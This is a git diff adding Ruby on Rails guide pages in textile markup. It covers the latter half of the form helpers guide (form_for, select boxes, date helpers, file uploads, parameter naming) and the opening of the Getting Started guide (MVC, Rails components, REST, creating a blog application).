+Upon form submission the value entered by the user will be stored in +params[:person][:name]+. The +params[:person]+ hash is suitable for passing to +Person.new+ or, if +@person+ is an instance of Person, +@person.update_attributes+. While the name of an attribute is the most common second parameter to these helpers this is not compulsory. In the example above, as long as person objects have a +name+ and a +name=+ method Rails will be happy. + +WARNING: You must pass the name of an instance variable, i.e. +:person+ or +"person"+, not an actual instance of your model object. + +Rails provides helpers for displaying the validation errors associated with a model object. These are covered in detail by the "Active Record Validations and Callbacks":./activerecord_validations_callbacks.html#_using_the_tt_errors_tt_collection_in_your_view_templates guide. + +h4. Binding a Form to an Object + +While this is an increase in comfort it is far from perfect. If Person has many attributes to edit then we would be repeating the name of the edited object many times. What we want to do is somehow bind a form to a model object, which is exactly what +form_for+ does. + +Assume we have a controller for dealing with articles: + +articles_controller.rb: + +<ruby> +def new + @article = Article.new +end +</ruby> + +The corresponding view using +form_for+ looks like this + +articles/new.html.erb: + +<erb> +<% form_for :article, @article, :url => { :action => "create" }, :html => {:class => "nifty_form"} do |f| %> + <%= f.text_field :title %> + <%= f.text_area :body, :size => "60x12" %> + <%= submit_tag "Create" %> +<% end %> +</erb> + +There are a few things to note here: + +# +:article+ is the name of the model and +@article+ is the actual object being edited. +# There is a single hash of options. Routing options are passed in the +:url+ hash, HTML options are passed in the +:html+ hash. +# The +form_for+ method yields a *form builder* object (the +f+ variable). +# Methods to create form controls are called *on* the form builder object +f+ + +The resulting HTML is: + +<html> +<form action="/articles/create" method="post" class="nifty_form"> + <input id="article_title" name="article[title]" size="30" type="text" /> + <textarea id="article_body" name="article[body]" cols="60" rows="12"></textarea> + <input name="commit" type="submit" value="Create" /> +</form> +</html> + +The name passed to +form_for+ controls the key used in +params+ to access the form's values. Here the name is +article+ and so all the inputs have names of the form +article[<em>attribute_name</em>]+. Accordingly, in the +create+ action +params[:article]+ will be a hash with keys +:title+ and +:body+. You can read more about the significance of input names in the parameter_names section. + +The helper methods called on the form builder are identical to the model object helpers except that it is not necessary to specify which object is being edited since this is already managed by the form builder. + +You can create a similar binding without actually creating +<form>+ tags with the +fields_for+ helper. This is useful for editing additional model objects with the same form. For example if you had a Person model with an associated ContactDetail model you could create a form for creating both like so: + +<erb> +<% form_for :person, @person, :url => { :action => "create" } do |person_form| %> + <%= person_form.text_field :name %> + <% fields_for @person.contact_detail do |contact_details_form| %> + <%= contact_details_form.text_field :phone_number %> + <% end %> +<% end %> +</erb> + +which produces the following output: + +<html> +<form action="/people/create" class="new_person" id="new_person" method="post"> + <input id="person_name" name="person[name]" size="30" type="text" /> + <input id="contact_detail_phone_number" name="contact_detail[phone_number]" size="30" type="text" /> +</form> +</html> + +The object yielded by +fields_for+ is a form builder like the one yielded by +form_for+ (in fact +form_for+ calls +fields_for+ internally). + +h4. Relying on Record Identification + +The Article model is directly available to users of the application, so -- following the best practices for developing with Rails -- you should declare it *a resource*. + +When dealing with RESTful resources, calls to +form_for+ can get significantly easier if you rely on *record identification*. In short, you can just pass the model instance and have Rails figure out model name and the rest: + +<ruby> +## Creating a new article +# long-style: +form_for(:article, @article, :url => articles_path) +# same thing, short-style (record identification gets used): +form_for(@article) + +## Editing an existing article +# long-style: +form_for(:article, @article, :url => article_path(@article), :method => "put") +# short-style: +form_for(@article) +</ruby> + +Notice how the short-style +form_for+ invocation is conveniently the same, regardless of the record being new or existing. Record identification is smart enough to figure out if the record is new by asking +record.new_record?+. It also selects the correct path to submit to and the name based on the class of the object. + +Rails will also automatically set the +class+ and +id+ of the form appropriately: a form creating an article would have +id+ and +class+ +new_article+. If you were editing the article with id 23, the +class+ would be set to +edit_article+ and the id to +edit_article_23+. These attributes will be omitted for brevity in the rest of this guide. + +WARNING: When you're using STI (single-table inheritance) with your models, you can't rely on record identification on a subclass if only their parent class is declared a resource. You will have to specify the model name, +:url+, and +:method+ explicitly. + +h5. Dealing with Namespaces + +If you have created namespaced routes, +form_for+ has a nifty shorthand for that too. If your application has an admin namespace then + +<ruby> +form_for [:admin, @article] +</ruby> + +will create a form that submits to the articles controller inside the admin namespace (submitting to +admin_article_path(@article)+ in the case of an update). If you have several levels of namespacing then the syntax is similar: + +<ruby> +form_for [:admin, :management, @article] +</ruby> + +For more information on Rails' routing system and the associated conventions, please see the "routing guide":./routing_outside_in.html. + + +h4. How do forms with PUT or DELETE methods work? + +The Rails framework encourages RESTful design of your applications, which means you'll be making a lot of "PUT" and "DELETE" requests (besides "GET" and "POST"). However, most browsers _don't support_ methods other than "GET" and "POST" when it comes to submitting forms. + +Rails works around this issue by emulating other methods over POST with a hidden input named +"_method"+, which is set to reflect the desired method: + +<ruby> +form_tag(search_path, :method => "put") +</ruby> + +output: + +<html> +<form action="/search" method="post"> + <div style="margin:0;padding:0"> + <input name="_method" type="hidden" value="put" /> + <input name="authenticity_token" type="hidden" value="f755bb0ed134b76c432144748a6d4b7a7ddf2b71" /> + </div> + ... +</html> + +When parsing POSTed data, Rails will take into account the special +_method+ parameter and acts as if the HTTP method was the one specified inside it ("PUT" in this example). + + +h3. Making Select Boxes with Ease + +Select boxes in HTML require a significant amount of markup (one +OPTION+ element for each option to choose from), therefore it makes the most sense for them to be dynamically generated. + +Here is what the markup might look like: + +<html> +<select name="city_id" id="city_id"> + <option value="1">Lisbon</option> + <option value="2">Madrid</option> + ... + <option value="12">Berlin</option> +</select> +</html> + +Here you have a list of cities whose names are presented to the user. Internally the application only wants to handle their IDs so they are used as the options' value attribute. Let's see how Rails can help out here. + +h4. The Select and Option Tags + +The most generic helper is +select_tag+, which -- as the name implies -- simply generates the +SELECT+ tag that encapsulates an options string: + +<erb> +<%= select_tag(:city_id, '<option value="1">Lisbon</option>...') %> +</erb> + +This is a start, but it doesn't dynamically create the option tags. You can generate option tags with the +options_for_select+ helper: + +<erb> +<%= options_for_select([['Lisbon', 1], ['Madrid', 2], ...]) %> + +output: + +<option value="1">Lisbon</option> +<option value="2">Madrid</option> +... +</erb> + +The first argument to +options_for_select+ is a nested array where each element has two elements: option text (city name) and option value (city id). The option value is what will be submitted to your controller. Often this will be the id of a corresponding database object but this does not have to be the case. + +Knowing this, you can combine +select_tag+ and +options_for_select+ to achieve the desired, complete markup: + +<erb> +<%= select_tag(:city_id, options_for_select(...)) %> +</erb> + ++options_for_select+ allows you to pre-select an option by passing its value. + +<erb> +<%= options_for_select([['Lisbon', 1], ['Madrid', 2], ...], 2) %> + +output: + +<option value="1">Lisbon</option> +<option value="2" selected="selected">Madrid</option> +... +</erb> + +Whenever Rails sees that the internal value of an option being generated matches this value, it will add the +selected+ attribute to that option. + +TIP: The second argument to +options_for_select+ must be exactly equal to the desired internal value. In particular if the value is the integer 2 you cannot pass "2" to +options_for_select+ -- you must pass 2. Be aware of values extracted from the +params+ hash as they are all strings. + +h4. Select Boxes for Dealing with Models + +In most cases form controls will be tied to a specific database model and as you might expect Rails provides helpers tailored for that purpose. Consistent with other form helpers, when dealing with models you drop the +_tag+ suffix from +select_tag+: + +<ruby> +# controller: +@person = Person.new(:city_id => 2) +</ruby> + +<erb> +# view: +<%= select(:person, :city_id, [['Lisbon', 1], ['Madrid', 2], ...]) %> +</erb> + +Notice that the third parameter, the options array, is the same kind of argument you pass to +options_for_select+. One advantage here is that you don't have to worry about pre-selecting the correct city if the user already has one -- Rails will do this for you by reading from the +@person.city_id+ attribute. + +As with other helpers, if you were to use the +select+ helper on a form builder scoped to the +@person+ object, the syntax would be: + +<erb> +# select on a form builder +<%= f.select(:city_id, ...) %> +</erb> + +WARNING: If you are using +select+ (or similar helpers such as +collection_select+, +select_tag+) to set a +belongs_to+ association you must pass the name of the foreign key (in the example above +city_id+), not the name of association itself. If you specify +city+ instead of +city_id+ Active Record will raise an error along the lines of <pre> ActiveRecord::AssociationTypeMismatch: City(#17815740) expected, got String(#1138750) </pre> when you pass the +params+ hash to +Person.new+ or +update_attributes+. Another way of looking at this is that form helpers only edit attributes. You should also be aware of the potential security ramifications of allowing users to edit foreign keys directly. You may wish to consider the use of +attr_protected+ and +attr_accessible+. For further details on this, see the "Ruby On Rails Security Guide":security.html#_mass_assignment. + +h4. Option Tags from a Collection of Arbitrary Objects + +Generating options tags with +options_for_select+ requires that you create an array containing the text and value for each option. But what if you had a City model (perhaps an Active Record one) and you wanted to generate option tags from a collection of those objects? One solution would be to make a nested array by iterating over them: + +<erb> +<% cities_array = City.all.map { |city| [city.name, city.id] } %> +<%= options_for_select(cities_array) %> +</erb> + +This is a perfectly valid solution, but Rails provides a less verbose alternative: +options_from_collection_for_select+. This helper expects a collection of arbitrary objects and two additional arguments: the names of the methods to read the option *value* and *text* from, respectively: + +<erb> +<%= options_from_collection_for_select(City.all, :id, :name) %> +</erb> + +As the name implies, this only generates option tags. To generate a working select box you would need to use it in conjunction with +select_tag+, just as you would with +options_for_select+. When working with model objects, just as +select+ combines +select_tag+ and +options_for_select+, +collection_select+ combines +select_tag+ with +options_from_collection_for_select+. + +<erb> +<%= collection_select(:person, :city_id, City.all, :id, :name) %> +</erb> + +To recap, +options_from_collection_for_select+ is to +collection_select+ what +options_for_select+ is to +select+. + +NOTE: Pairs passed to +options_for_select+ should have the name first and the id second, however with +options_from_collection_for_select+ the first argument is the value method and the second the text method. + +h4. Time Zone and Country Select + +To leverage time zone support in Rails, you have to ask your users what time zone they are in. Doing so would require generating select options from a list of pre-defined TimeZone objects using +collection_select+, but you can simply use the +time_zone_select+ helper that already wraps this: + +<erb> +<%= time_zone_select(:person, :time_zone) %> +</erb> + +There is also +time_zone_options_for_select+ helper for a more manual (therefore more customizable) way of doing this. Read the API documentation to learn about the possible arguments for these two methods. + +Rails _used_ to have a +country_select+ helper for choosing countries, but this has been extracted to the "country_select plugin":http://github.com/rails/country_select/tree/master. When using this, be aware that the exclusion or inclusion of certain names from the list can be somewhat controversial (and was the reason this functionality was extracted from rails). + +h3. Using Date and Time Form Helpers + +The date and time helpers differ from all the other form helpers in two important respects: + +# Dates and times are not representable by a single input element. Instead you have several, one for each component (year, month, day etc.) and so there is no single value in your +params+ hash with your date or time. +# Other helpers use the +_tag+ suffix to indicate whether a helper is a barebones helper or one that operates on model objects. With dates and times, +select_date+, +select_time+ and +select_datetime+ are the barebones helpers, +date_select+, +time_select+ and +datetime_select+ are the equivalent model object helpers. + +Both of these families of helpers will create a series of select boxes for the different components (year, month, day etc.). + +h4. Barebones Helpers + +The +select_*+ family of helpers take as their first argument an instance of Date, Time or DateTime that is used as the currently selected value. You may omit this parameter, in which case the current date is used. For example + +<erb> +<%= select_date Date.today, :prefix => :start_date %> +</erb> + +outputs (with actual option values omitted for brevity) + +<html> +<select id="start_date_year" name="start_date[year]"> ... </select> +<select id="start_date_month" name="start_date[month]"> ... </select> +<select id="start_date_day" name="start_date[day]"> ... </select> +</html> + +The above inputs would result in +params[:start_date]+ being a hash with keys +:year+, +:month+, +:day+. To get an actual Time or Date object you would have to extract these values and pass them to the appropriate constructor, for example + +<ruby> +Date.civil(params[:start_date][:year].to_i, params[:start_date][:month].to_i, params[:start_date][:day].to_i) +</ruby> + +The +:prefix+ option is the key used to retrieve the hash of date components from the +params+ hash. Here it was set to +start_date+, if omitted it will default to +date+. + +h4. Model Object Helpers + ++select_date+ does not work well with forms that update or create Active Record objects as Active Record expects each element of the +params+ hash to correspond to one attribute. +The model object helpers for dates and times submit parameters with special names, when Active Record sees parameters with such names it knows they must be combined with the other parameters and given to a constructor appropriate to the column type. For example: + +<erb> +<%= date_select :person, :birth_date %> +</erb> + +outputs (with actual option values omitted for brevity) + +<html> +<select id="person_birth_date_1i" name="person[birth_date(1i)]"> ... </select> +<select id="person_birth_date_2i" name="person[birth_date(2i)]"> ... </select> +<select id="person_birth_date_3i" name="person[birth_date(3i)]"> ... </select> +</html> + +which results in a +params+ hash like + +<ruby> +{:person => {'birth_date(1i)' => '2008', 'birth_date(2i)' => '11', 'birth_date(3i)' => '22'}} +</ruby> + +When this is passed to +Person.new+ (or +update_attributes+), Active Record spots that these parameters should all be used to construct the +birth_date+ attribute and uses the suffixed information to determine in which order it should pass these parameters to functions such as +Date.civil+. + +h4. Common Options + +Both families of helpers use the same core set of functions to generate the individual select tags and so both accept largely the same options. In particular, by default Rails will generate year options 5 years either side of the current year. If this is not an appropriate range, the +:start_year+ and +:end_year+ options override this. For an exhaustive list of the available options, refer to the "API documentation":http://api.rubyonrails.org/classes/ActionView/Helpers/DateHelper.html. + +As a rule of thumb you should be using +date_select+ when working with model objects and +select_date+ in other cases, such as a search form which filters results by date. + +NOTE: In many cases the built-in date pickers are clumsy as they do not aid the user in working out the relationship between the date and the day of the week. + +h4. Individual Components + +Occasionally you need to display just a single date component such as a year or a month. Rails provides a series of helpers for this, one for each component +select_year+, +select_month+, +select_day+, +select_hour+, +select_minute+, +select_second+. These helpers are fairly straightforward. By default they will generate an input field named after the time component (for example "year" for +select_year+, "month" for +select_month+ etc.) although this can be overriden with the +:field_name+ option. The +:prefix+ option works in the same way that it does for +select_date+ and +select_time+ and has the same default value. + +The first parameter specifies which value should be selected and can either be an instance of a Date, Time or DateTime, in which case the relevant component will be extracted, or a numerical value. For example + +<erb> +<%= select_year(2009) %> +<%= select_year(Time.now) %> +</erb> + +will produce the same output if the current year is 2009 and the value chosen by the user can be retrieved by +params[:date][:year]+. + +h3. Uploading Files + +A common task is uploading some sort of file, whether it's a picture of a person or a CSV file containing data to process. The most important thing to remember with file uploads is that the form's encoding *MUST* be set to "multipart/form-data". If you forget to do this the file will not be uploaded. This can be done by passing +:multi_part => true+ as an HTML option. This means that in the case of +form_tag+ it must be passed in the second options hash and in the case of +form_for+ inside the +:html+ hash. + +The following two forms both upload a file. + +<erb> +<% form_tag({:action => :upload}, :multipart => true) do %> + <%= file_field_tag 'picture' %> +<% end %> + +<% form_for @person, :html => {:multipart => true} do |f| %> + <%= f.file_field :picture %> +<% end %> +</erb> + +Rails provides the usual pair of helpers: the barebones +file_field_tag+ and the model oriented +file_field+. The only difference with other helpers is that you cannot set a default value for file inputs as this would have no meaning. As you would expect in the first case the uploaded file is in +params[:picture]+ and in the second case in +params[:person][:picture]+. + +h4. What Gets Uploaded + +The object in the +params+ hash is an instance of a subclass of IO. Depending on the size of the uploaded file it may in fact be a StringIO or an instance of File backed by a temporary file. In both cases the object will have an +original_filename+ attribute containing the name the file had on the user's computer and a +content_type+ attribute containing the MIME type of the uploaded file. The following snippet saves the uploaded content in +#{Rails.root}/public/uploads+ under the same name as the original file (assuming the form was the one in the previous example). + +<ruby> +def upload + uploaded_io = params[:person][:picture] + File.open(Rails.root.join('public', 'uploads', uploaded_io.original_filename), 'w') do |file| + file.write(uploaded_io.read) + end +end +</ruby> + +Once a file has been uploaded, there are a multitude of potential tasks, ranging from where to store the files (on disk, Amazon S3, etc) and associating them with models to resizing image files and generating thumbnails. The intricacies of this are beyond the scope of this guide, but there are several plugins designed to assist with these. Two of the better known ones are "Attachment-Fu":http://github.com/technoweenie/attachment_fu and "Paperclip":http://www.thoughtbot.com/projects/paperclip. + +NOTE: If the user has not selected a file the corresponding parameter will be an empty string. + +h4. Dealing with Ajax + +Unlike other forms making an asynchronous file upload form is not as simple as replacing +form_for+ with +remote_form_for+. With an Ajax form the serialization is done by JavaScript running inside the browser and since JavaScript cannot read files from your hard drive the file cannot be uploaded. The most common workaround is to use an invisible iframe that serves as the target for the form submission. + +h3. Customising Form Builders + +As mentioned previously the object yielded by +form_for+ and +fields_for+ is an instance of FormBuilder (or a subclass thereof). Form builders encapsulate the notion of displaying form elements for a single object. While you can of course write helpers for your forms in the usual way you can also subclass FormBuilder and add the helpers there. For example + +<erb> +<% form_for @person do |f| %> + <%= text_field_with_label f, :first_name %> +<% end %> +</erb> + +can be replaced with + +<erb> +<% form_for @person, :builder => LabellingFormBuilder do |f| %> + <%= f.text_field :first_name %> +<% end %> +</erb> + +by defining a LabellingFormBuilder class similar to the following: + +<ruby> +class LabellingFormBuilder < ActionView::Helpers::FormBuilder + def text_field(attribute, options={}) + label(attribute) + super + end +end +</ruby> + +If you reuse this frequently you could define a +labeled_form_for+ helper that automatically applies the +:builder => LabellingFormBuilder+ option. + +The form builder used also determines what happens when you do + +<erb> +<%= render :partial => f %> +</erb> + +If +f+ is an instance of FormBuilder then this will render the +form+ partial, setting the partial's object to the form builder. If the form builder is of class LabellingFormBuilder then the +labelling_form+ partial would be rendered instead. + +h3. Understanding Parameter Naming Conventions + +As you've seen in the previous sections, values from forms can be at the top level of the +params+ hash or nested in another hash. For example in a standard +create+ +action for a Person model, +params[:model]+ would usually be a hash of all the attributes for the person to create. The +params+ hash can also contain arrays, arrays of hashes and so on. + +Fundamentally HTML forms don't know about any sort of structured data, all they generate is name–value pairs, where pairs are just plain strings. The arrays and hashes you see in your application are the result of some parameter naming conventions that Rails uses. + +TIP: You may find you can try out examples in this section faster by using the console to directly invoke Rails' parameter parser. For example <pre> ActionController::UrlEncodedPairParser.parse_query_parameters "name=fred&phone=0123456789" # => {"name"=>"fred", "phone"=>"0123456789"} </pre> + +h4. Basic Structures + +The two basic structures are arrays and hashes. Hashes mirror the syntax used for accessing the value in +params+. For example if a form contains + +<html> +<input id="person_name" name="person[name]" type="text" value="Henry"/> +</html> + +the +params+ hash will contain + +<erb> +{'person' => {'name' => 'Henry'}} +</erb> + +and +params["name"]+ will retrieve the submitted value in the controller. + +Hashes can be nested as many levels as required, for example + +<html> +<input id="person_address_city" name="person[address][city]" type="text" value="New York"/> +</html> + +will result in the +params+ hash being + +<ruby> +{'person' => {'address' => {'city' => 'New York'}}} +</ruby> + +Normally Rails ignores duplicate parameter names. If the parameter name contains an empty set of square brackets [] then they will be accumulated in an array. If you wanted people to be able to input multiple phone numbers, you could place this in the form: + +<html> +<input name="person[phone_number][]" type="text"/> +<input name="person[phone_number][]" type="text"/> +<input name="person[phone_number][]" type="text"/> +</html> + +This would result in +params[:person][:phone_number]+ being an array. + +h4. Combining Them + +We can mix and match these two concepts. For example, one element of a hash might be an array as in the previous example, or you can have an array of hashes. For example a form might let you create any number of addresses by repeating the following form fragment + +<html> +<input name="addresses[][line1]" type="text"/> +<input name="addresses[][line2]" type="text"/> +<input name="addresses[][city]" type="text"/> +</html> + +This would result in +params[:addresses]+ being an array of hashes with keys +line1+, +line2+ and +city+. Rails decides to start accumulating values in a new hash whenever it encounters an input name that already exists in the current hash. + +There's a restriction, however, while hashes can be nested arbitrarily, only one level of "arrayness" is allowed. Arrays can be usually replaced by hashes, for example instead of having an array of model objects one can have a hash of model objects keyed by their id, an array index or some other parameter. + +WARNING: Array parameters do not play well with the +check_box+ helper. According to the HTML specification unchecked checkboxes submit no value. However it is often convenient for a checkbox to always submit a value. The +check_box+ helper fakes this by creating an auxiliary hidden input with the same name. If the checkbox is unchecked only the hidden input is submitted and if it is checked then both are submitted but the value submitted by the checkbox takes precedence. When working with array parameters this duplicate submission will confuse Rails since duplicate input names are how it decides when to start a new array element. It is preferable to either use +check_box_tag+ or to use hashes instead of arrays. + +h4. Using Form Helpers + +The previous sections did not use the Rails form helpers at all. While you can craft the input names yourself and pass them directly to helpers such as +text_field_tag+ Rails also provides higher level support. The two tools at your disposal here are the name parameter to +form_for+ and +fields_for+ and the +:index+ option that helpers take. + +You might want to render a form with a set of edit fields for each of a person's addresses. For example: + +<erb> +<% form_for @person do |person_form| %> + <%= person_form.text_field :name %> + <% for address in @person.addresses %> + <% person_form.fields_for address, :index => address do |address_form|%> + <%= address_form.text_field :city %> + <% end %> + <% end %> +<% end %> +</erb> + +Assuming the person had two addresses, with ids 23 and 45 this would create output similar to this: + +<html> +<form action="/people/1" class="edit_person" id="edit_person_1" method="post"> + <input id="person_name" name="person[name]" size="30" type="text" /> + <input id="person_address_23_city" name="person[address][23][city]" size="30" type="text" /> + <input id="person_address_45_city" name="person[address][45][city]" size="30" type="text" /> +</form> +</html> + +This will result in a +params+ hash that looks like + +<ruby> +{'person' => {'name' => 'Bob', 'address' => {'23' => {'city' => 'Paris'}, '45' => {'city' => 'London'}}}} +</ruby> + +Rails knows that all these inputs should be part of the person hash because you called +fields_for+ on the first form builder. By specifying an +:index+ option you're telling rails that instead of naming the inputs +person[address][city]+ it should insert that index surrounded by [] between the address and the city. If you pass an Active Record object as we did then Rails will call +to_param+ on it, which by default returns the database id. This is often useful as it is then easy to locate which Address record should be modified. You can pass numbers with some other significance, strings or even +nil+ (which will result in an array parameter being created). + +To create more intricate nestings, you can specify the first part of the input name (+person[address]+ in the previous example) explicitly, for example + +<erb> +<% fields_for 'person[address][primary]', address, :index => address do |address_form| %> + <%= address_form.text_field :city %> +<% end %> +</erb> + +will create inputs like + +<html> +<input id="person_address_primary_1_city" name="person[address][primary][1][city]" size="30" type="text" value="bologna" /> +</html> + +As a general rule the final input name is the concatenation of the name given to +fields_for+/+form_for+, the index value and the name of the attribute. You can also pass an +:index+ option directly to helpers such as +text_field+, but it is usually less repetitive to specify this at the form builder level rather than on individual input controls. + +As a shortcut you can append [] to the name and omit the +:index+ option. This is the same as specifing +:index => address+ so + +<erb> +<% fields_for 'person[address][primary][]', address do |address_form| %> + <%= address_form.text_field :city %> +<% end %> +</erb> + +produces exactly the same output as the previous example. + +h3. Building Complex Forms + +Many apps grow beyond simple forms editing a single object. For example when creating a Person you might want to allow the user to (on the same form) create multiple address records (home, work, etc.). When later editing that person the user should be able to add, remove or amend addresses as necessary. While this guide has shown you all the pieces necessary to handle this, Rails does not yet have a standard end-to-end way of accomplishing this, but many have come up with viable approaches. These include: + +* Ryan Bates' series of railscasts on "complex forms":http://railscasts.com/episodes/75 +* Handle Multiple Models in One Form from "Advanced Rails Recipes":http://media.pragprog.com/titles/fr_arr/multiple_models_one_form.pdf +* Eloy Duran's "nested_params":http://github.com/alloy/complex-form-examples/tree/alloy-nested_params plugin +* Lance Ivy's "nested_assignment":http://github.com/cainlevy/nested_assignment/tree/master plugin and "sample application":http://github.com/cainlevy/complex-form-examples/tree/cainlevy +* James Golick's "attribute_fu":http://github.com/giraffesoft/attribute_fu/tree plugin + +h3. Changelog + +"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/1 + +h3. Authors + +* Mislav Marohnić <mislav.marohnic@gmail.com> +* "Frederick Cheung":credits.html#fcheung diff --git a/railties/guides/source/getting_started.textile b/railties/guides/source/getting_started.textile new file mode 100644 index 0000000000..a216201490 --- /dev/null +++ b/railties/guides/source/getting_started.textile @@ -0,0 +1,1297 @@ +h2. Getting Started with Rails + +This guide covers getting up and running with Ruby on Rails. After reading it, you should be familiar with: + +* Installing Rails, creating a new Rails application, and connecting your application to a database +* The general layout of a Rails application +* The basic principles of MVC (Model, View Controller) and RESTful design +* How to quickly generate the starting pieces of a Rails application. + +endprologue. + +WARNING. This Guide is based on Rails 2.3. Some of the code shown here will not work in older versions of Rails. + +h3. This Guide Assumes + +This guide is designed for beginners who want to get started with a Rails application from scratch. It does not assume that you have any prior experience with Rails. However, to get the most out of it, you need to have some prerequisites installed: + +* The "Ruby":http://www.ruby-lang.org/en/downloads language +* The "RubyGems":http://rubyforge.org/frs/?group_id=126 packaging system +* A working installation of "SQLite":http://www.sqlite.org (preferred), "MySQL":http://www.mysql.com, or "PostgreSQL":http://www.postgresql.org + +It is highly recommended that you *familiarize yourself with Ruby before diving into Rails*. You will find it much easier to follow what’s going on with a Rails application if you understand basic Ruby syntax. Rails isn’t going to magically revolutionize the way you write web applications if you have no experience with the language it uses. There are some good free resources on the internet for learning Ruby, including: + +* "Mr. Neighborly’s Humble Little Ruby Book":http://www.humblelittlerubybook.com +* "Programming Ruby":http://www.rubycentral.com/book +* "Why’s (Poignant) Guide to Ruby":http://poignantguide.net/ruby/ + +h3. What is Rails? + +Rails is a web development framework written in the Ruby language. It is designed to make programming web applications easier by making several assumptions about what every developer needs to get started. It allows you to write less code while accomplishing more than many other languages and frameworks. Longtime Rails developers also report that it makes web application development more fun. + +Rails is opinionated software. That is, it assumes that there is a best way to do things, and it’s designed to encourage that best way - and in some cases to discourage alternatives. If you learn "The Rails Way" you’ll probably discover a tremendous increase in productivity. If you persist in bringing old habits from other languages to your Rails development, and trying to use patterns you learned elsewhere, you may have a less happy experience. + +The Rails philosophy includes several guiding principles: + +* DRY - "Don’t Repeat Yourself" - suggests that writing the same code over and over again is a bad thing. +* Convention Over Configuration - means that Rails makes assumptions about what you want to do and how you’re going to do it, rather than letting you tweak every little thing through endless configuration files. +* REST is the best pattern for web applications - organizing your application around resources and standard HTTP verbs is the fastest way to go. + +h4. The MVC Architecture + +Rails is organized around the Model, View, Controller architecture, usually just called MVC. MVC benefits include: + +* Isolation of business logic from the user interface +* Ease of keeping code DRY +* Making it clear where different types of code belong for easier maintenance + +h5. Models + +A model represents the information (data) of the application and the rules to manipulate that data. In the case of Rails, models are primarily used for managing the rules of interaction with a corresponding database table. In most cases, one table in your database will correspond to one model in your application. The bulk of your application’s business logic will be concentrated in the models. + +h5. Views + +Views represent the user interface of your application. In Rails, views are often HTML files with embedded Ruby code that performs tasks related solely to the presentation of the data. Views handle the job of providing data to the web browser or other tool that is used to make requests from your application. + +h5. Controllers + +Controllers provide the "glue" between models and views. In Rails, controllers are responsible for processing the incoming requests from the web browser, interrogating the models for data, and passing that data on to the views for presentation. + +h4. The Components of Rails + +Rails provides a full stack of components for creating web applications, including: + +* Action Controller +* Action View +* Active Record +* Action Mailer +* Active Resource +* Railties +* Active Support + +h5. Action Controller + +Action Controller is the component that manages the controllers in a Rails application. The Action Controller framework processes incoming requests to a Rails application, extracts parameters, and dispatches them to the intended action. Services provided by Action Controller include session management, template rendering, and redirect management. + +h5. Action View + +Action View manages the views of your Rails application. It can create both HTML and XML output by default. Action View manages rendering templates, including nested and partial templates, and includes built-in AJAX support. + +h5. Active Record + +Active Record is the base for the models in a Rails application. It provides database independence, basic CRUD functionality, advanced finding capabilities, and the ability to relate models to one another, among other services. + +h5. Action Mailer + +Action Mailer is a framework for building e-mail services. You can use Action Mailer to send emails based on flexible templates, or to receive and process incoming email. + +h5. Active Resource + +Active Resource provides a framework for managing the connection between business objects an RESTful web services. It implements a way to map web-based resources to local objects with CRUD semantics. + +h5. Railties + +Railties is the core Rails code that builds new Rails applications and glues the various frameworks together in any Rails application. + +h5. Active Support + +Active Support is an extensive collection of utility classes and standard Ruby library extensions that are used in the Rails, both by the core code and by your applications. + +h4. REST + +The foundation of the RESTful architecture is generally considered to be Roy Fielding’s doctoral thesis, "Architectural Styles and the Design of Network-based Software Architectures":http://www.ics.uci.edu/~fielding/pubs/dissertation/top.htm. Fortunately, you need not read this entire document to understand how REST works in Rails. REST, an acronym for Representational State Transfer, boils down to two main principles for our purposes: + +* Using resource identifiers (which, for the purposes of discussion, you can think of as URLs) to represent resources +* Transferring representations of the state of that resource between system components. + +For example, to a Rails application a request such as this: + +<tt>DELETE /photos/17</tt> + +would be understood to refer to a photo resource with the ID of 17, and to indicate a desired action - deleting that resource. REST is a natural style for the architecture of web applications, and Rails makes it even more natural by using conventions to shield you from some of the RESTful complexities and browser quirks. + +If you’d like more details on REST as an architectural style, these resources are more approachable than Fielding’s thesis: + +* "A Brief Introduction to REST":http://www.infoq.com/articles/rest-introduction by Stefan Tilkov +* "An Introduction to REST":http://bitworking.org/news/373/An-Introduction-to-REST (video tutorial) by Joe Gregorio +* "Representational State Transfer":http://en.wikipedia.org/wiki/Representational_State_Transfer article in Wikipedia +* "How to GET a Cup of Coffee":http://www.infoq.com/articles/webber-rest-workflow by Jim Webber, Savas Parastatidis & Ian Robinson + +h3. Creating a New Rails Project + +If you follow this guide, you’ll create a Rails project called <tt>blog</tt>, a (very) simple weblog. Before you can start building the application, you need to make sure that you have Rails itself installed. + +h4. Installing Rails + +In most cases, the easiest way to install Rails is to take advantage of RubyGems: + +<shell> +$ gem install rails +</shell> + +NOTE. There are some special circumstances in which you might want to use an alternate installation strategy: + +* If you’re working on Windows, you may find it easier to install Instant Rails. Be aware, though, that "Instant Rails":http://instantrails.rubyforge.org/wiki/wiki.pl releases tend to lag seriously behind the actual Rails version. Also, you will find that Rails development on Windows is overall less pleasant than on other operating systems. If at all possible, we suggest that you install a Linux virtual machine and use that for Rails development, instead of using Windows. +* If you want to keep up with cutting-edge changes to Rails, you’ll want to clone the "Rails source code":http://github.com/rails/rails/tree/master from github. This is not recommended as an option for beginners, though. + +h4. Creating the Blog Application + +Open a terminal, navigate to a folder where you have rights to create files, and type: + +<shell> +$ rails blog +</shell> + +This will create a Rails application that uses a SQLite database for data storage. If you prefer to use MySQL, run this command instead: + +<shell> +$ rails blog -d mysql +</shell> + +And if you’re using PostgreSQL for data storage, run this command: + +<shell> +$ rails blog -d postgresql +</shell> + +TIP. You can see all of the switches that the Rails application builder accepts by running <tt>rails -h</tt>. + +After you create the blog application, switch to its folder to continue work directly in that application: + +<shell> +$ cd blog +</shell> + +In any case, Rails will create a folder in your working directory called <tt>blog</tt>. Open up that folder and explore its contents. Most of the work in this tutorial will happen in the <tt>app/</tt> folder, but here’s a basic rundown on the function of each folder that Rails creates in a new application by default: + +|_.File/Folder|_.Purpose| +|README|This is a brief instruction manual for your application. Use it to tell others what your application does, how to set it up, and so on.| +|Rakefile|This file contains batch jobs that can be run from the terminal.| +|app/|Contains the controllers, models, and views for your application. You'll focus on this folder for the remainder of this guide.| +|config/|Configure your application's runtime rules, routes, database, and more.| +|db/|Shows your current database schema, as well as the database migrations. You'll learn about migrations shortly.| +|doc/|In-depth documentation for your application.| +|lib/|Extended modules for your application (not covered in this guide).| +|log/|Application log files.| +|public/|The only folder seen to the world as-is. This is where your images, javascript, stylesheets (CSS), and other static files go.| +|script/|Scripts provided by Rails to do recurring tasks, such as benchmarking, plugin installation, and starting the console or the web server.| +|test/|Unit tests, fixtures, and other test apparatus. These are covered in "Testing Rails Applications":testing.html| +|tmp/|Temporary files| 